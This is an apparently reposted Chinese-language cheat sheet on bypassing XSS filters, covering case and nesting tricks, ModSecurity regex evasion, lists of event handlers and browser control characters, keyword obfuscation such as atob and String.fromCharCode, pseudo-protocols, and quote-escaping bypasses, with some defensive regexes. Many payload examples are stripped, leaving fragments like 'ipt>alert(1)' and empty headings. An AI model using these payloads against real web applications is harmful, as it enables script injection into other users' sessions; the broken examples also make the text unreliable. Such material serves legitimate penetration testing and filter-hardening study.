xss绕过字符过滤_XSS过滤器绕过总结
XSS過濾器繞過總結
黑名單過濾器繞過
黑名單模式下的過濾器是最常見的。他們的目標是檢測特定模式并防止惡意行為。這完全是“模式”的問題,它們越準確,就越可以攔截攻擊。
1. 注入腳本代碼
主要是
1.1 繞過弱
簡單的過濾器無法涵蓋所有可能的情況,所以可以繞開它們。 以下示例僅是對弱規則的一些繞過。
#大寫和小寫字符
#標簽后加隨機字符串
ipt>alert(1)ipt> #嵌套標簽(雙寫)
alert(1) #NULL字節
1.2 ModSecurity > 基于標簽的XSS向量規則
這是ModSecurity過濾
SecRule ARGS "(?i)(
顯然,我們插入腳本代碼方法不是唯一的。 有多種方法可以運行我們的代碼,例如不同的HTML標簽和相關的事件。
1.3 除
show
sendsend#可使用https://github.com/evilcos/xss.swf
1.4 除
事件是訪問者與HTML DOM之間交互性的方式; 這只需通過執行客戶端代碼(JavaScript)來實現。
幾乎所有事件處理程序標識符都以on開頭,后跟事件名稱。 最常用的一種是onerror,
常用On事件
onsearch
onwebkitanimationend
onwebkitanimationiteration
onwebkitanimationstart
onwebkittransitionend
onabort
onblur
oncancel
oncanplay
oncanplaythrough
onchange
onclick
onclose
oncontextmenu
oncuechange
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onemptied
onended
onerror
onfocus
onformdata
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onpause
onplay
onplaying
onprogress
onratechange
onreset
onresize
onscroll
onseeked
onseeking
onselect
onstalled
onsubmit
onsuspend
ontimeupdate
ontoggle
onvolumechange
onwaiting
onwheel
onauxclick
ongotpointercapture
onlostpointercapture
onpointerdown
onpointermove
onpointerup
onpointercancel
onpointerover
onpointerout
onpointerenter
onpointerleave
onselectstart
onselectionchange
onanimationend
onanimationiteration
onanimationstart
ontransitionend
onafterprint
onbeforeprint
onbeforeunload
onhashchange
onlanguagechange
onmessage
onmessageerror
onoffline
ononline
onpagehide
onpageshow
onpopstate
onrejectionhandled
onstorage
onunhandledrejection
onunload
以下是一些HTML 4標簽示例:
以下是一些HTML 5標簽示例:
從防御的角度來看,解決此問題方案是過濾所有以on開頭的事件,防止XSS。
這是一個被廣泛使用的正則表達式(on\w+\s*=)
由于HTML和瀏覽器“動態性”的結合,我們可以輕松繞過這個過濾器:
因此有了“升級”版過濾器:(?i)([\s\"'`;\/0-9\=]+on\w+\s*=)
但是仍然存在問題。 某些瀏覽器將一些特殊字符轉換為空格,因此\ s元字符不足以覆蓋所有可能的字符。
例如以下的一些繞過方法:
#適用于除Safari以外的所有瀏覽器
#只適用IE
在事件名稱(例如onload)和等號(=)字符之間或在事件名稱之前可用的控制字符列表,
IExplorer = [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox = [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android = [0x09,0x20,0x28,0x2C,0x3B]
迄今為止,有效防守的正則表達式規則應為:
(?i)([\s\"'`;\/0-9\=\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C\x28\x3B]+on\w+[\s\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C\x28\x3B]*?=)
一些過濾器可能會阻止某些關鍵字的使用來阻止腳本代碼的執行,例如:alert,javascript,eval等。
alert() 可嘗試使用一下方法進行繞過
top['ale'+'rt']()
a\u006cert()
alert``
top['a\u006ce'+'rt']``
2. 字符編碼
JavaScript允許使用各種字符編碼類型,這些類型使我們能夠執行代碼,而不是被解釋為文字形式。
2.1 Unicode
alert 會被攔截
可使用Unicode編碼繞過
2.2十進制,八進制,十六進制
則除了Unicode外,我們還可以采用多種編碼
同時可使用多種編碼
2.3 構造字符串
通常alert關鍵字被阻止,但是很可能未檢測到“ ale” +“ rt”。
JavaScript具有一些可用于創建字符串的函數。
/ale/.source+/rt/.source
String.fromCharCode(97,108,101,114,116)
atob("YWxlcnQ=")
17795081..toString(36)
2.4 偽協議
javascript:不需要事件處理; 因此,我們應該避免使用它。由于偽協議通常是在字符串中引入的,因此我們可以使用之前看到的所有變體。
data="javascript:alert(1)">
除了javascript還有vbscript 、data。
data:[][;base64],
prettyprint lang-js
prettyprint lang-js
vbscript偽協議不是很常見,因為它只能在Internet Explorer上使用。
#適用IE8
#適用IE8
#適用IE Edge
#適用IE Edge
其他繞過
1. 刪除HTML標簽
安全機制通常選擇對潛在的XSS向量進行清理,而不是阻塞整個請求。 這些可能是我們在測試過程中可能遇到的最常見的過濾器。
例如,最常見的是對一些關鍵字符進行HTML編碼,例如 < (<), > (>)等。這并不總是足夠的,并且取決于不可信數據在頁面的哪一點被注入。
在某些情況下,過濾器可能會刪除惡意關鍵字。 例如,刪除
此行為的一個常見錯誤是該規則僅刪除匹配表達式的第一個實例。
ipt>alert(1)
此外,如果過濾器執行遞歸檢查,則應始終檢查它是否仍可利用。遞歸檢查可能是按順序進行的,也許更改插入字符串的順序可能繞過。
它們以
ipt>alert(1)
2. 轉義
這不僅是HTML標記的問題,而且注入點通常位于帶引號的字符串內。 通常,過濾器將反斜杠字符(\)放在引號之前,以轉義此類字符。
2.1 轉義’
還需要轉義反斜杠以避免旁路。 例如,假設我們可以在以下代碼中控制值randomkey,但是引號已轉義:
var key = 'randomkey';
如果我們插入randomkey \'alert(1)而不是randomkey,
這是因為該應用程序將在轉換我們的輸入時避免使用’, randomkey\\'; alert(1); //
這只會轉義反斜杠,從而使我們可以終止字符串并插入alert代碼。
String.fromCharCode()可使我們能夠從Unicode值序列開始生成字符串。
String.fromCharCode(120,115,9416)
/your string/.source
我們還可以使用unescape方法來轉義生成的字符串。 例如,我們可以使用.source技術對字符串進行轉義。
unescape(/%78%u0073%73/.source)即使不推薦使用此功能,許多瀏覽器仍支持該功能。
除此之外,還有decodeURI和encodeURIComponent方法。 在這種情況下,需要對字符進行URL編碼,以避免URI格式錯誤。
decodeURI(/alert(%22xss%22)/.source)
decodeURIComponent(/alert(%22xss%22)/.source)
2.2 轉義括號
括號是調用函數和傳遞參數的基礎。 如果一個潛在的過濾器刪除了我們插入的payload中的所有括號,我們應該怎么做? 有一種在不帶括號的情況下將參數傳遞給函數的方法。
該技術濫用了作為窗口對象一部分的onerror處理程序,一旦使用throw和分配給該錯誤處理程序的函數的參數生成了錯誤,就為該函數分配了要調用的函數。
Other
Input 標簽 z-index為-1
z-index 屬性設置元素的堆疊順序。擁有更高堆疊順序的元素總是會處于堆疊順序較低的元素的前面。
input 標簽 會被 a 標簽遮擋 無法觸發XSS漏洞
adasdsa
onblur 事件會在對象失去焦點時發生。
payload:
οnblur=alert(/Test/) autofocus
總結
以上是生活随笔為你收集整理的xss绕过字符过滤_XSS过滤器绕过总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: c++求解自行车慢速比赛问题_一元一次方
- 下一篇: ai作文批改_全球第一份机器人批改的作文